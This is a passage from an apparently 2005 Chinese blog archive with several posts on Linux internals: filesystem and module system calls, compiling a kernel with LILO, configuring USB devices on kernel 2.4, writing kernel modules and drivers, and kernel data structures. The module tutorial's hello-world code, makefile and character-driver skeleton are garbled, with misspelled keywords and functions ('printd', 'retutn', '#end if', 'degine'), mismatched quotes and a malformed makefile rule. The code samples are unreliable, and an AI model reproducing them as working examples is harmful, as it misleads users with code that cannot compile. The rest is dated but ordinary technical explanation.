Xxxget:获取调用,在系统中申请或者查询一个IPC资源,返回值是该IPC对象的ID,该调用类似于文件系统的open, create调用;
Xxxctl:控制调用,至少包括三种操作:XXX_RMID(释放IPC对象), XXX_STAT(查询状态), XXX_SET(设置状态信息);
(msgsnd, msgrcv) | Semopt | (shmat, shmdt)|:操作调用,这些调用的功能随IPC对象的类型不同而有较大差异。
4.文件系统相关的调用
文件是用来保存数据的,而文件系统则可以让用户组织,操纵以及存取不同的文件。内核允许用户通过一个严格定义的过程性接口与文件系统进行交互,这个接口对用户屏蔽了文件系统的细节,同时指定了所有相关系统调用的行为和语义。Linux支持许多中文件系统,如ext2,msdos, ntfs, proc, dev, ufs, nfs等等,这些文件系统都实现了相同的接口,因此给应用程序提供了一致性的视图。但每种文件系统在实现时可能对某个方面加以了一定的限制。如:文件名的长度,是否支持所有的文件系统接口调用。
为了支持多文件系统,sun提出了一种vnode/vfs接口,SVR4中将之实现成了一种工业标准。而Linux作为一种Unix的clone体,自然也实现了这种接口,只是它的接口定义和SVR4的稍有不同。Vnode/Vfs接口的设计体现了面向对象的思想,Vfs(虚拟文件系统)代表内核中的一个文件系统,Vnode(虚拟节点)代表内核中的一个文件,它们都可以被视为抽象基类,并可以从中派生出不同的子类以实现不同的文件系统。
由于篇幅原因,这里只是大概的介绍一下怎样通过Vnode/Vfs结构来实现文件系统和访问文件。
在Linux中支持的每种文件系统必须有一个file_system_type结构,此结构的核心是read_super函数,该函数将读取文件系统的超级块。Linux中支持的所有文件系统都会被注册在一条file_system_type结构链中,注册是在系统初始化时调用regsiter_filesystem()完成,如果文件系统是以模块的方式实现,则是在调用init_module时完成。
当mount某种块设备时,将调用系统调用mount,该调用中将会首先检查该类文件系统是否注册在系统种中,如果注册了则先给该文件系统分配一个super_block,并进行初始化,最后调用这种文件系统的read_super函数来完成super_block结构私有数据的赋值。其中最主要的工作是给super_block的s_ops赋值,s_ops是一个函数向量表,由文件系统各自实现了一组操作。
struct super_operations {
void (*read_inode) (struct inode *);
void (*write_inode) (struct inode *);
void (*put_inode) (struct inode *);
void (*delete_inode) (struct inode *);
void (*put_super) (struct super_block *);
void (*write_super) (struct super_block *);
int (*statfs) (struct super_block *, struct statfs *);
int (*remount_fs) (struct super_block *, int *, char *);
void (*clear_inode) (struct inode *);
void (*umount_begin) (struct super_block *);
};
由于这组操作中定义了文件系统中对于inode的操作,所以是之后对于文件系统中文件所有操作的基础。
在给super_block的s_ops赋值后,再给该文件系统分配一个vfsmount结构,将该结构注册到系统维护的另一条链vfsmntlist中,所有mount上的文件系统都在该链中有一项。在umount时,则从链中删除这一项并且释放超级块。
对于一个已经mount的文件系统中任何文件的操作首先应该以产生一个inode实例,即根据文件系统的类型生成一个属于该文件系统的内存i节点。这首先调用文件定位函数lookup_dentry查找目录缓存看是否使用过该文件,如果还没有则缓存中找不到,于是需要的i接点则依次调用路径上的所有目录I接点的lookup函数,在lookup函数中会调用iget函数,该函数中最终调用超级块的s_ops->read_inode读取目标文件的磁盘I节点(这一步再往下就是由设备驱动完成了,通过调用驱动程序的read函数读取磁盘I节点),read_inode函数的主要功能是初始化inode的一些私有数据(比如数据存储位置,文件大小等等)以及给inode_operations函数开关表赋值,最终该inode被绑定在一个目录缓存结构dentry中返回。
在获得了文件的inode之后,对于该文件的其它一切操作都有了根基。因为可以从inode 获得文件操作函数开关表file_operatoins,该开关表里给出了标准的文件I/O接口的实现,包括read, write, lseek, mmap, ioctl等等。这些函数入口将是所有关于文件的系统调用请求的最终处理入口,通过这些函数入口会向存储该文件的硬设备驱动发出请求并且由驱动程序返回数据。当然这中间还会牵涉到一些关于buffer的管理问题,这里就不赘述了。
通过讲述这些,我们应该明白了为什么可以使用统一的系统调用接口来访问不同文件系统类型的文件了:因为在文件系统的实现一层,都把低层的差异屏蔽了,用户可见的只是高层可见的一致的系统调用接口。
5.与module相关的系统调用
Linux中提供了往系统中添加和卸载模块的接口,create_module(),init_module (), delete_module(),这些系统调用通常不是直接为程序员使用的,它们仅仅是为实现一些系统命令而提供的接口,如insmod, rmmod,(在使用这些系统调用前必须先加载目标文件到用户进程的地址空间,这必须由目标文件格式所特定的库函数(如:libobj.a中的一些函数)来完成)。
Linux的核心中维护了一个module_list列表,每个被加载到核心中的模块都在其中占有一项,系统调用create_module()就是在该列表里注册某个指定的模块,而init_module则是使用模块目标文件内容的映射来初始化核心中注册的该模块,并且调用该模块的初始化函数,初始化函数通常完成一些特定的初始化操作,比如文件系统的初始化函数就是在操作系统中注册该文件系统。delete_module则是从系统中卸载一个模块,其主要工作是从module_list中删除该模块对应的module结构并且调用该模块的cleanup函数卸载其它私有信息。
Back
- Linux中怎样编译和定制内核
- 1.编译内核前注意的事项
检查系统上其它资源是否符合新内核的要求。在linux/Document目录下有一个叫Changes的文件,里面列举了当前内核版本所需要的其它软件的版本号,
- Kernel modutils 2.1.121 ; insmod -V
- Gnu C 2.7.2.3 ; gcc --version
- Binutils 2.8.1.0.23 ; ld -v
- Linux libc5 C Library 5.4.46 ; ls -l /lib/libc*
- Linux libc6 C Library 2.0.7pre6 ; ls -l /lib/libc*
- Dynamic Linker (ld.so) 1.9.9 ; ldd --version or ldd -v
- Linux C++ Library 2.7.2.8 ; ls -l /usr/lib/libg++.so.*
. . . . . .
其中最后一项是列举该软件版本号的命令,如果不符合要求先给相应软件升级,这一步通常可以忽略。
2.配置内核
使用make config或者make menuconfig, make xconfig配置新内核。其中包括选择块设备驱动程序、网络选项、网络设备支持、文件系统等等,用户可以根据自己的需求来进行功能配置。每个选项至少有“y”和“n”两种选择,选择“y”表示把相应的支持编译进内核,选“n”表示不提供这种支持,还有的有第三种选择“m”,则表示把该支持编译成可加载模块,即前面提到的module,怎样编译和安装模块在后面会介绍。
这里,顺便讲述一下如何在内核中增加自己的功能支持。
假如我们现在需要在自己的内核中加入一个文件系统tfile,在完成了文件系统的代码后,在linux/fs下建立一个tfile目录,把源文件拷贝到该目录下,然后修改linux/fs下的Makefile,把对应该文件系统的目标文件加入目标文件列表中,最后修改linux/fs/Config.in文件,加入
bool ‘tfile fs support‘ CONFIG_TFILE_FS或者
tristate ‘tfile fs support‘ CONFIG_TFILE_FS
这样在Make menuconfig时在filesystem选单下就可以看到
< > tfile fs support一项了
3.编译内核
在配置好内核后就是编译内核了,在编译之前首先应该执行make dep命令建立好依赖关系,该命令将会修改linux中每个子目录下的.depend文件,该文件包含了该目录下每个目标文件所需要的头文件(绝对路径的方式列举)。
然后就是使用make bzImage命令来编译内核了。该命令运行结束后将会在linux/arch/asm/boot/产生一个名叫bzImage的映像文件。
4.使用新内核引导
把前面编译产生的映像文件拷贝到/boot目录下(也可以直接建立一个符号连接,这样可以省去每次编译后的拷贝工作),这里暂且命名为vmlinuz-new,那么再修改/etc/lilo.conf,在其中增加这么几条:
image = /boot/vmlinuz-new
root = /dev/hda1
label = new
read-only
并且运行lilo命令,那么系统在启动时就可以选用新内核引导了。
5.编译模块和使用模块
Back
- 作者: wizhu 2005年08月3日, 星期三 12:17 回复(0) | 引用(0) 加入博采
Linux下的硬件驱动——USB设备(上)(驱动配置部分)
USB设备越来越多,而Linux在硬件配置上仍然没有做到完全即插即用,对于Linux怎样配置和使用他们,也越来越成为困扰我们的一大问题。本文分两部分着力从Linux系统下设备驱动的架构,去阐述怎样去使用和配置以及怎样编制USB设备驱动。对于一般用户,可以使我们明晰Linux设备驱动方式,为更好地配置和使用USB设备提供了方便;而对于希望开发Linux系统下USB设备驱动的程序员,提供了初步学习USB驱动架构的机会。前言
USB是英文"Universal Serial Bus"的缩写,意为"通用串行总线"。是由Compaq(康柏)、DEC、IBM、Intel、NEC、微软以及Northern Telecom(北方电讯)等公司于1994年11月共同提出的,主要目的就是为了解决接口标准太多的弊端。USB使用一个4针插头作为标准插头,并通过这个标准接头,采用菊花瓣形式把所有外设连接起来,它采用串行方式传输数据,目前最大数据传输率为12Mbps, 支持多数据流和多个设备并行操作,允许外设热插拔。
目前USB接口虽然只发展了2代(USB1.0/1.1,USB2.0),但是USB综合了一个多平台标准的所有优点 -- 包括降低成本,增加兼容性,可连接大量的外部设备,融合先进的功能和品质。使其逐步成为PC接口标准,进入了高速发展期。
那么对于使用Linux系统,正确支持和配置常见的USB设备,就是其使用必不可少的关键一步。
模块(驱动程序)
模块(module)是在内核空间运行的程序,实际上是一种目标对象文件,没有链接,不能独立运行,但是可以装载到系统中作为内核的一部分运行,从而可以动态扩充内核的功能。模块最主要的用处就是用来实现设备驱动程序。
Linux下对于一个硬件的驱动,可以有两种方式:直接加载到内核代码中,启动内核时就会驱动此硬件设备。另一种就是以模块方式,编译生成一个.o文件。当应用程序需要时再加载进内核空间运行。所以我们所说的一个硬件的驱动程序,通常指的就是一个驱动模块。
设备文件
对于一个设备,它可以在/dev下面存在一个对应的逻辑设备节点,这个节点以文件的形式存在,但它不是普通意义上的文件,它是设备文件,更确切的说,它是设备节点。这个节点是通过mknod命令建立的,其中指定了主设备号和次设备号。主设备号表明了某一类设备,一般对应着确定的驱动程序;次设备号一般是区分不同属性,例如不同的使用方法,不同的位置,不同的操作。这个设备号是从/proc/devices文件中获得的,所以一般是先有驱动程序在内核中,才有设备节点在目录中。这个设备号(特指主设备号)的主要作用,就是声明设备所使用的驱动程序。驱动程序和设备号是一一对应的,当你打开一个设备文件时,操作系统就已经知道这个设备所对应的驱动程序。
SCSI 设备
SCSI是有别于IDE的一个计算机标准接口。现在大部分平板式扫描仪、CD-R刻录机、MO光磁盘机等渐渐趋向使用SCSI接口,加之SCSI又能提供一个高速传送通道,所以,接触到SCSI设备的用户会越来越多。Linux支持很多种的SCSI设备,例如:SCSI硬盘、SCSI光驱、SCSI磁带机。更重要的是,Linux提供了IDE设备对SCSI的模拟(ide-scsi.o模块),我们通常会就把IDE光驱模拟为SCSI光驱进行访问。因为在Linux中很多软件都只能操作SCSI光驱。例如大多数刻录软件、一些媒体播放软件。通常我们的USB存储设备,也模拟为SCSI硬盘而进行访问。
Linux硬件驱动架构
对于一个硬件,Linux是这样来进行驱动的:首先,我们必须提供一个.o的驱动模块文件(这里我们只说明模块方式,其实内核方式是类似的)。我们要使用这个驱动程序,首先要加载运行它(insmod *.o)。这样驱动就会根据自己的类型(字符设备类型或块设备类型,例如鼠标就是字符设备而硬盘就是块设备)向系统注册,注册成功系统会反馈一个主设备号,这个主设备号就是系统对它的唯一标识(例如硬盘块设备在/proc/devices中显示的主设备号为3 ,我们用ls -l /dev/had看到的主设备就肯定是3)。驱动就是根据此主设备号来创建一个一般放置在/dev目录下的设备文件(mknod命令用来创建它,它必须用主设备号这个参数)。在我们要访问此硬件时,就可以对设备文件通过open、read、write等命令进行。而驱动就会接收到相应的read、write操作而根据自己的模块中的相应函数进行了。
其中还有几个比较有关系的东西:一个是/lib/modules/2.4.XX目录,它下面就是针对当前内核版本的模块。只要你的模块依赖关系正确(可以通过depmod设置),你就可以通过modprobe 命令加载而不需要知道具体模块文件位置。 另一个是/etc/modules.conf文件,它定义了一些常用设备的别名。系统就可以在需要此设备支持时,正确寻找驱动模块。例如alias eth0 e100,就代表第一块网卡的驱动模块为e100.o。他们的关系图如下:
配置USB设备
内核中配置.
要启用 Linux USB 支持,首先进入"USB support"节并启用"Support for USB"选项(对应模块为usbcore.o)。尽管这个步骤相当直观明了,但接下来的 Linux USB 设置步骤则会让人感到糊涂。特别地,现在需要选择用于系统的正确 USB 主控制器驱动程序。选项是"EHCI" (对应模块为ehci-hcd.o)、"UHCI" (对应模块为usb-uhci.o)、"UHCI (alternate driver)"和"OHCI" (对应模块为usb-ohci.o)。这是许多人对 Linux 的 USB 开始感到困惑的地方。
要理解"EHCI"及其同类是什么,首先要知道每块支持插入 USB 设备的主板或 PCI 卡都需要有 USB 主控制器芯片组。这个特别的芯片组与插入系统的 USB 设备进行相互操作,并负责处理允许 USB 设备与系统其它部分通信所必需的所有低层次细节。
Linux USB 驱动程序有三种不同的 USB 主控制器选项是因为在主板和 PCI 卡上有三种不同类型的 USB 芯片。"EHCI"驱动程序设计成为实现新的高速 USB 2.0 协议的芯片提供支持。"OHCI"驱动程序用来为非 PC 系统上的(以及带有 SiS 和 ALi 芯片组的 PC 主板上的)USB 芯片提供支持。"UHCI"驱动程序用来为大多数其它 PC 主板(包括 Intel 和 Via)上的 USB 实现提供支持。只需选择与希望启用的 USB 支持的类型对应的"?HCI"驱动程序即可。如有疑惑,为保险起见,可以启用"EHCI"、"UHCI" (两者中任选一种,它们之间没有明显的区别)和"OHCI"。(赵明注:根据文档,EHCI已经包含了UHCI和OHCI,但目前就我个人的测试,单独加EHCI是不行的,通常我的做法是根据主板类型加载UHCI或OHCI后,再加载EHCI这样才可以支持USB2.0设备)。
启用了"USB support"和适当的"?HCI"USB 主控制器驱动程序后,使 USB 启动并运行只需再进行几个步骤。应该启用"Preliminary USB device filesystem",然后确保启用所有特定于将与 Linux 一起使用的实际 USB 外围设备的驱动程序。例如,为了启用对 USB 游戏控制器的支持,我启用了"USB Human Interface Device (full HID) support"。我还启用了主"Input core support" 节下的"Input core support"和"Joystick support"。
一旦用新的已启用 USB 的内核重新引导后,若/proc/bus/usb下没有相应USB设备信息,应输入以下命令将 USB 设备文件系统手动挂装到 /proc/bus/usb:
# mount -t usbdevfs none /proc/bus/usb
为了在系统引导时自动挂装 USB 设备文件系统,请将下面一行添加到 /etc/fstab 中的 /proc 挂装行之后:
none /proc/bus/usb usbdevfs defaults 0 0
模块的配置方法.
在很多时候,我们的USB设备驱动并不包含在内核中。其实我们只要根据它所需要使用的模块,逐一加载。就可以使它启作用。
首先要确保在内核编译时以模块方式选择了相应支持。这样我们就应该可以在/lib/modules/2.4.XX目录看到相应.o文件。在加载模块时,我们只需要运行modprobe xxx.o就可以了(modprobe主要加载系统已经通过depmod登记过的模块,insmod一般是针对具体.o文件进行加载)
对应USB设备下面一些模块是关键的。
usbcore.o 要支持usb所需要的最基础模块
usb-uhci.o (已经提过)
usb-ohci.o (已经提过)
uhci.o 另一个uhci驱动程序,我也不知道有什么用,一般不要加载,会死机的
ehci-hcd.o (已经提过 usb2.0)
hid.o USB人机界面设备,像鼠标呀、键盘呀都需要
usb-storage.o USB存储设备,U盘等用到
相关模块
ide-disk.o IDE硬盘
ide-scsi.o 把IDE设备模拟SCSI接口
scsi_mod.o SCSI支持
注意kernel config其中一项:
Probe all LUNs on each SCSI device
最好选上,要不某些同时支持多个口的读卡器只能显示一个。若模块方式就要带参数安装或提前在/etc/modules.conf中加入以下项,来支持多个LUN。
add options scsi_mod max_scsi_luns=9
sd_mod.o SCSI硬盘
sr_mod.o SCSI光盘
sg.o SCSI通用支持(在某些探测U盘、SCSI探测中会用到)
常见USB设备及其配置
在Linux 2.4的内核中已经支持不下20种设备。它支持几乎所有的通用设备如键盘、鼠标、modem、打印机等,并不断地添加厂商新的设备象数码相机、MP3、网卡等。下面就是几个最常见设备的介绍和使用方法:
USB鼠标:
键盘和鼠标属于低速的输入设备,对于已经为用户认可的PS/2接口,USB键盘和USB鼠标似乎并没有太多更优越的地方。现在的大部分鼠标采用了PS/2接口,不过USB接口的鼠标也越来越多,两者相比,各有优势:一般来说,USB的鼠标接口的带宽大于PS/2鼠标,也就是说在同样的时间内,USB鼠标扫描次数就要多于PS/2鼠标,这样在定位上USB鼠标就更为精确;同时USB接口鼠标的默认采样率也比较高,达到125HZ,而PS/2接口的鼠标仅有40HZ(Windows 9x/Me)或是60HZ(Windows NT/2000)。
对于USB设备你当然必须先插入相应的USB控制器模块:usb-uhci.o或usb-ohci.o
modprobe usb-uhci
USB鼠标为了使其正常工作,您必须先插入模块usbmouse.o和mousedev.o
modprobe usbmouse
modprobe mousedev
若你把HID input layer支持和input core 支持也作为模块方式安装,那么启动hid模块和input模块也是必要的。
modprobe hid
modprobe input
USB键盘:
一般的,我们现在使用的键盘大多是PS/2的,USB键盘还比较少见,但是下来的发展,键盘将向USB接口靠拢。使用USB键盘基本上没有太多的要求,只需在主板的BIOS设定对USB键盘的支持,就可以在各系统中完全无障碍的使用,而且更可以真正做到在即插即用和热插拔使用,并能提供两个USB连接埠:让您可以轻易地直接将具有USB接头的装置接在您的键盘上,而非计算机的后面。
同样你当然必须先插入相应的USB控制器模块:usb-uhci.o或usb-ohci.o
modprobe usb-uhci
然后您还必须插入键盘模块usbkbd.o,以及keybdev.o,这样usb键盘才能够正常工作。此时,运行的系统命令:
modprobe usbkbd
modprobe keybdev
同样若你把HID input layer支持和input core 支持也作为模块方式安装,那么启动hid模块和input模块也是必要的。
U盘和USB读卡器:
数码存储设备现在对我们来说已经是相当普遍的了。CF卡、SD卡、Memory Stick等存储卡已经遍及我们的身边,通常,他们的读卡器都是USB接口的。另外,很多MP3、数码相机也都是USB接口和计算机进行数据传递。更我们的U盘、USB硬盘,作为移动存储设备,已经成为我们的必须装备。
在Linux下这些设备通常都是以一种叫做usb-storage的方式进行驱动。要使用他们必须加载此模块
modprobe usb-storage
当然,usbcore.o 和usb-uhci.o或usb-ohci也肯定是不可缺少的。另外,若你系统中SCSI支持也是模块方式,那么下面的模块也要加载
modprobe scsi_mod
modprobe sd_mod
在加载完这些模块后,我们插入U盘或存储卡,就会发现系统中多了一个SCSI硬盘,通过正确地mount它,就可以使用了(SCSI硬盘一般为/dev/sd?,可参照文章后面的常见问题解答)。
mount /dev/sda1 /mnt
Linux支持的其他USB设备。
MODEM--(比较常见)
网络设备
摄像头--(比较常见)例如ov511.o
联机线--可以让你的两台电脑用USB线实现网络功能。usbnet.o
显示器--(我没见过)
游戏杆
电视盒--(比较常见)
手写板--(比较常见)
扫描仪--(比较常见)
刻录机--(比较常见)
打印机--(比较常见)
注意:上面所说的每个驱动模块,并不是都要手动加载,有很多系统会在启动或你的应用需要时自动加载的,写明这些模块,是便于你在不能够使用USB设备时,可以自行检查。只要用lsmod确保以上模块已经被系统加载,你的设备就应该可以正常工作了。当然注意有些模块已经以内核方式在kernel启动时存在了(这些模块文件在/lib/modules/2.4.XX中是找不到的)。
最常遇见的USB问题
有USB设备的系统安装完redhat 7.3启动死机问题
有USB设备,当你刚装完redhat 7.3第一次启动时,总会死掉。主要原因是Linux在安装时探测到有usb-uhci和ehci-hcd两个控制器,但在启动时,加载完usb-uhci再加载ehci-hcd就会有冲突。分析认为redhat7.3系统内核在支持USB2.0标准上存在问题。在其他版本的Linux中均不存在此问题。
解决办法:在lilo或grub启动时用命令行传递参数init=/sbin/init。这样在启动后就不运行其他服务而直接启动shell。然后运行
mount -o remount,rw / 使/ 可写,init直接启动的系统默认只mount /为只读
然后vi /etc/modules.config文件
删除alias usb-controller1 ehci-hcd一行。或前面加#注释掉
然后mount -o remount,ro / 使/ 只读,避免直接关机破坏文件系统
然后就可以按Ctrl-Alt-Delete直接重启了
或许,你有更简单的办法:换USB键盘和鼠标为PS2接口,启动后修改/etc/modules.config文件。
我们已经知道U盘在Linux中会模拟为SCSI设备去访问,可怎么知道它对应那个SCSI设备呢?
方法1:推测。通常你第一次插入一个SCSI设备,它就是sda,第二个就是sdb以此类推。你启动Linux插入一个U盘,就试试sda,换了一个就可能是sdb。这里注意两个特例:1) 你用的是联想U盘,它可能存在两个设备区(一个用于加密或启动电脑),这样就可能一次用掉两个sda、sdb,换个U盘就是sdc、sdd。2) 联想数码电脑中,可能已经有了六合一读卡器。它同样也是USB存储设备。它会占掉一个或两个SCSI设备号。
方法2:看信息。其实,只要你提前把usb-storage.o、scsi_mod.o、sd_mod.o模块加载(直接在kernel中也可以)了,在你插入和拔出U盘时,系统会自动打出信息如下:
SCSI device sda: 60928 512-byte hdwr sectors ( 31 MB )
sda: Write Protect is on
根据此信息,你就知道它在sda上了。当然,可能你的系统信息级别比较高,上述信息可能没有打出,这时候你只要tail /var/log/messages就可以看到了。
方法3:同样,cat /proc/partitions也可以看到分区信息,其中sd?就是U盘所对应的了。若根本没有sd设备,就要检查你的SCSI模块和usb-storage模块是否正确加载了。
在使用U盘或存储卡时,我该mount /dev/sda还是/dev/sda1呢?
这是一个历史遗留问题。存储卡最初尺寸很小,很多厂商在使用时,就直接使用存储,不含有分区表信息。而随着存储卡尺寸的不断扩大,它也就引入了类似硬盘分区的概念。例如/dev/hda你可以分成主分区hda1、hda2扩展分区hda3,然后把扩展分区hda3又分为逻辑分区hda5、hda6、hda7等。这样,通常的U盘就被分成一个分区sda1,类似把硬盘整个分区分成一个主分区hda1。实际上,我们完全可以通过fdisk /dev/sda对存储卡进行完全类似硬盘的分区方式分成sda1、sda2甚至逻辑分区sda5、sda6。实际上,对USB硬盘目前你的确需要这样,因为它通常都是多少G的容量。而且通常,它里面就是笔记本硬盘。
一个好玩的问题。你在Linux下用fdisk /dev/sda 对U盘进行了多分区,这时候到windows下,你会发现怎么找,怎么格式化,U盘都只能找到第一个分区大小尺寸,而且使用看不出任何问题。这主要是windows驱动对U盘都只支持一个分区的缘故。你是不是可以利用它来进行一些文件的隐藏和保护?你是不是可以和某些人没玩过Linux的人开些玩笑:你的U盘容量变小了J。
现在较多的数码设备也和windows一样,是把所有U盘容量分为一个,所以在对待U盘的时候,通常你mount的是sda1。但对于某些特殊的数码设备格式化的U盘或存储卡(目前我发现的是一款联想的支持模拟USB软盘的U盘和我的一个数码相机),你就要mount /dev/sda。因为它根本就没分区表(若mount /dev/sda1通常的效果是死掉)。其实,这些信息,只要你注意了/proc/partitions文件,都应该注意到的。
每次插入U盘,都要寻找对应设备文件名,都要手动mount,我能不能做到象windows那样插入就可以使用呢。
当然可以,不过你需要做一些工作。我这里只提供一些信息帮助你去尝试完成设置:Linux内核提供了一种叫hotplug支持的东西,它可以让你系统在PCI设备、USB等设备插拔时做一些事情。而automount 功能可以使你的软驱、光盘等设备的分区自动挂载和自动卸载。你甚至可以在KDE桌面中创建相应的图标,方便你操作。具体设置方法就要你自己去尝试了。反正我使用Linux已经麻木了,不就是敲一行命令嘛。
参考资料
《LINUX设备驱动程序》
ALESSANDRO RUBINI著
LISOLEG 译
《Linux系统分析与高级编程技术》
周巍松 编著
Linux Kernel-2.4.20源码和文档说明
关于作者
赵明,联想软件设计中心嵌入式研发处系统设计工程师,一直致力于WinCE、WinXPE、Linux等嵌入式系统研究。您可以通过carl__zhao@163.com与他联系。
- 作者: wizhu 2005年08月3日, 星期三 11:58 回复(0) | 引用(0) 加入博采
Linux内核模块和驱动的编写步骤
Linux内核是一个整体是结构,因此向内核添加任何东西,或者删除某些功能,都十分困难。为了解决这个问题引入了内核机制。从而可以动态的想内核中添加或者删除模块。模块不被编译在内核中,因而控制了内核的大小.然而模块一旦被插入内核,他就和内核其他部分一样.这样一来就会曾家一部分系统开销。同时,如果模块出现问题,也许会带来系统的崩溃。
模块的实现机制:
启动时,由函数 void inti_modules() 来初始化模块,因为启动事很多时候没有模块.这个函数往往把内核自身当作一个虚模块。
如由系统需要,则调用一系列以sys 开头的函数,对模块进行操作. 如:
sys_creat_modules(),sys_inti_modules() ,
sys_deldte_modules()等等.
这里会用到一些模块的数据就结构,在/usr/scr/Linux/include/Linux/module.h 中,有兴趣的朋友可以找出来一看块的加入有两种方法:一是手动加入:如:insmod modulename.另一种是根据需要,动态的加载模块:如你执行命令:
$mount -t msdos /dev/hdd /mnt/d 时.系统便自动加载 FAT模块,以支持MSDOS的文件系统。
1.模块编程
写一个模块,必须有一定的多进程编程基础,因为你变得程序不是以一个独立的程序的来运行的。另外,因为,模块需要在内核模式下运行,会遇到在内和空间和用户空间数据交换的问题.一般的数据复制函数无法完成这一个过程。因此系统已入了一些特殊的函数以用来完成内核空间和用户空间数据的交换/
这些函数有:void put _user (type valude,type *u_addr)
memcpy_tofs()
等等,有兴趣的朋友可以仔细的看看所有的函数,以及他们的用法.需要说明的是.模块编程河内核的版本有很大的关系。如果版本不通可能造成,内核模块不能编译,或者.在运行这个模块时,出现不可测结果。如:系统崩溃等。
明白了这些以后,你就可以尝试着编写内核模块了。对于每一个内核模块来说,必定包含两个函数int init_module() 这个函数在插入内核时启动,在内核中注册一定的功能函数,或者用他的代码代替内和中某些函数的内容(估计这些函数是空的)。因此,内和可以安全的卸载。
int cleanup_module() 当内核模块谢载时,调用.将模块从内核中清除.
同其他的程序设计教程一样 ,我们给出一个hello world 的例子
/*hello.c a module programm*/
/* the program runing under kernel mod and it is a module*/
#include" Linux/kernerl.h"
#include"lLinux/module.h"
/* pross the CONFIG_MODVERSIONS*/
#if CONFIG_MODVERSIONS==1
#define MODVERSIONS
#include""Linux/modversions.h"
#end if
/* the init function*/
int init_module()
{
printk(" hello world !\n‘);
printd(" I have runing in a kerner mod@!!\n");
return 1;
}
/* the distory function*/
int cleanup_module()
{
printk(" I will shut down myself in kernerl mod /n)";
retutn 0;
}
这样一个例子就完成了.我们也写一个makefile 的例子,以适于我们在大程序重的应用。一下是makfile 文件的内容 。
# a makefile for a module
CC=gcc
MODCFLAGS:= -Wall _DMODULE -D_KERNEL_ -DLinux
hello.o hello.c /usr/inculde?Linux/version.h
CC $(MODCFLAGS) 0c hello.c
echo the module is complie completely
然后你运行make 命令 得到hello.o 这个模块,运行
$insmod hello.o
hello world!
I will shut down myself in kernerl mod
$lsmod
hello (unused)
….
$remmod
I will shut down myself in kernerl mod
这样你的模块就可以随意的插入和删除了。
Linux中的大部分驱动程序,是以模块的形式编写的,这些驱动程序源码可以修改到内核中,也可以把他们编译成模块形势,在需要的时候动态加载。
一个典型的驱动程序,大体上可以分为这么几个部分:
1.注册设备
在系统初启,或者模块加载时候,必须将设备登记到相应的设备数组,并返回设备的主驱动号,例如:对快设备来说调用 refister_blkdec()将设备添加到数组blkdev中,并且获得该设备号,并利用这些设备号对此数组进行索引。对于字符驱动设备来说,要使用 module_register_chrdev()来获得祝设备的驱动号,然后对这个设备的所有调用都用这个设备号来实现。
2.定义功能函数
对于每一个驱动函数来说,都有一些和此设备密切相关的功能函数,那最常用的块设备或者字符设备来说,都存在着诸如 open() read() write() ioctrol()这一类的操作。当系统社用这些调用时,将自动的使用驱动函数中特定的模块,来实现具体的操作。而对于特定的设备,上面的系统调用对应的函数是一定的。
如:在块驱动设备中.当系统试图读取这个设备(即调用read()时),就会运行驱动程序中的block_read() 这个函数。
打开新设备时会调用这个设备驱动程序的device_open() 这个函数.
3.谢载模块
在不用这个设备时,可以将他卸载,主要是从/proc 中取消这个设备的特殊文件,可用特定的函数实现。
下面我们列举一个字符设备驱动程序的框架.来说明这个过程.
/* a module of a character device */
/* some include files*/
#include"param.h"
#include"user.h"
#include"tty.h"
#include"dir.h"
#include”fs.h"
/* the include files modules need*/
#include"Linux/kernel.h"
#include"Linux/module.h"
#if CONFIG_MODBERSIONS==1
degine MODBERSIONS
#include" Linux.modversions.h"
#endif
#difine devicename mydevice
/* the init funcion*/
int init_module()
{
int tag=module_register_chrdev(0,mydevice,&Fops);
if (tag<0)
{
printk("the device init is erro!\n");
return 1;
}
return 0;
}
/*the funcion which the device will be used */
int device_open ()
{
…….
}
int device_read ()
{
…….
}
int device_write ()
{
…….
}
int device_ioctl ()
{
…….
}
……
/* the deltter function of this module*/
int cleanup_module()
{
int re=module_unregister_chrdev(tag,mydevice);
if( re<0)
{
printk("erro unregister the module !!\n");
return 1;
}
return 0;
}
- 作者: wizhu 2005年07月19日, 星期二 22:37 回复(0) | 引用(0) 加入博采
Linux核心数据结构
本章列出了Linux实用的主要数据结构。
block_dev_struct
此结构用于向核心登记块设备,它还被buffer cache实用。所有此类结构都位于blk_dev数组中。
struct blk_dev_struct { void (*request_fn)(void); struct request * current_request; struct request plug; struct tq_struct plug_tq; };
buffer_head
此结构包含关于buffer cache中一块缓存的信息。
/* bh state bits */ #define BH_Uptodate 0 /* 1 if the buffer contains valid data */ #define BH_Dirty 1 /* 1 if the buffer is dirty */ #define BH_Lock 2 /* 1 if the buffer is locked */ #define BH_Req 3 /* 0 if the buffer has been invalidated */ #define BH_Touched 4 /* 1 if the buffer has been touched (aging) */ #define BH_Has_aged 5 /* 1 if the buffer has been aged (aging) */ #define BH_Protected 6 /* 1 if the buffer is protected */ #define BH_FreeOnIO 7 /* 1 to discard the buffer_head after IO */ struct buffer_head { /* First cache line: */ unsigned long b_blocknr; /* block number */ kdev_t b_dev; /* device (B_FREE = free) */ kdev_t b_rdev; /* Real device */ unsigned long b_rsector; /* Real buffer location on disk */ struct buffer_head *b_next; /* Hash queue list */ struct buffer_head *b_this_page; /* circular list of buffers in one page */ /* Second cache line: */ unsigned long b_state; /* buffer state bitmap (above) */ struct buffer_head *b_next_free; unsigned int b_count; /* users using this block */ unsigned long b_size; /* block size */ /* Non-performance-critical data follows. */ char *b_data; /* pointer to data block */ unsigned int b_list; /* List that this buffer appears */ unsigned long b_flushtime; /* Time when this (dirty) buffer * should be written */ unsigned long b_lru_time; /* Time when this buffer was * last used. */ struct wait_queue *b_wait; struct buffer_head *b_prev; /* doubly linked hash list */ struct buffer_head *b_prev_free; /* doubly linked list of buffers */ struct buffer_head *b_reqnext; /* request queue */ };
device
系统中每个网络设备都用一个设备数据结构来表示。
struct device { /* * This is the first field of the "visible" part of this structure * (i.e. as seen by users in the "Space.c" file). It is the name * the interface. */ char *name; /* I/O specific fields */ unsigned long rmem_end; /* shmem "recv" end */ unsigned long rmem_start; /* shmem "recv" start */ unsigned long mem_end; /* shared mem end */ unsigned long mem_start; /* shared mem start */ unsigned long base_addr; /* device I/O address */ unsigned char irq; /* device IRQ number */ /* Low-level status flags. */ volatile unsigned char start, /* start an operation */ interrupt; /* interrupt arrived */ unsigned long tbusy; /* transmitter busy */ struct device *next; /* The device initialization function. Called only once. */ int (*init)(struct device *dev); /* Some hardware also needs these fields, but they are not part of the usual set specified in Space.c. */ unsigned char if_port; /* Selectable AUI,TP, */ unsigned char dma; /* DMA channel */ struct enet_statistics* (*get_stats)(struct device *dev); /* * This marks 